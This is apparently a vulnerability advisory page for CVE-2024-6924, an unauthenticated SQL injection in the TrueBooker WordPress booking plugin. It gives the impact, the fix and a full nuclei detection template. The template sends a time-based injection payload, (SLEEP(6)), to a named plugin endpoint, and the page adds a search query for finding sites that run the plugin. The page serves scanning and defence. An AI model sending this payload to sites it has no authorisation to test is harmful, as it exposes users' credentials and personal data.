CVE-2024-6924· themetechmount / truebooker
TrueBooker <= 1.0.2 - SQL Injection
The TrueBooker Appointment Booking and Scheduler Plugin. plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Unauthenticated attackers can exploit SQL injection to extract sensitive information from the database, including user credentials, email addresses, and other personal data.
Fix
Update TrueBooker Appointment Booking plugin to a version later than 1.0.2 to address the SQL injection vulnerability.
How to confirm it
Send: GET /
Positive when: contains(body, "/wp-content/plugins/truebooker-appointment-booking")
Send: @timeout 20s
Positive when: duration>=6 and status_code == 200Run it with nuclei: nuclei -id CVE-2024-6924 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-6924
info:
name: TrueBooker <= 1.0.2 - SQL Injection
author: s4e-io
severity: high
description: |
The TrueBooker Appointment Booking and Scheduler Plugin. plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Unauthenticated attackers can exploit SQL injection to extract sensitive information from the database, including user credentials, email addresses, and other personal data.
remediation: |
Update TrueBooker Appointment Booking plugin to a version later than 1.0.2 to address the SQL injection vulnerability.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/truebooker-appointment-booking/truebooker-102-unauthenticated-sql-injection
- https://wpscan.com/vulnerability/39e79801-6ec7-4579-bc6b-fd7e899733a8/
classification:
epss-score: 0.03292
epss-percentile: 0.88597
metadata:
vendor: themetechmount
product: truebooker
framework: wordpress
publicwww-query: "/wp-content/plugins/truebooker-appointment-booking"
tags: time-based-sqli,wpscan,cve,cve2024,sqli,wp,wp-plugin,wordpress,truebooker,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/truebooker-appointment-booking")'
internal: true
- raw:
- |
@timeout 20s
POST /wp-content/plugins/truebooker-appointment-booking/main/truebooker-service-price.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
tba_service_id=(SLEEP(6))
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/truebooker-appointment-booking/truebooker-102-unauthenticated-sql-injection
- https://wpscan.com/vulnerability/39e79801-6ec7-4579-bc6b-fd7e899733a8/
Use this check only on systems you are authorised to test. Where the data comes from